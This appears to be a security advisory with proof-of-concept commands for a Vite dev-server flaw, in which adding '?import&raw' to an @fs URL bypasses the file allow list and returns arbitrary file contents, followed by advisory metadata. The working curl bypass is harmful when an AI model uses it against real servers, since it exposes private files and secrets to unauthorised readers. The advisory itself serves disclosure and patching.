The contents of arbitrary files can be returned to the browser.
@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
{
"github_reviewed_at": "2024-09-17T18:44:12Z",
"github_reviewed": true,
"severity": "MODERATE",
"nvd_published_at": "2024-09-17T20:15:05Z",
"cwe_ids": [
"CWE-200",
"CWE-284"
]
}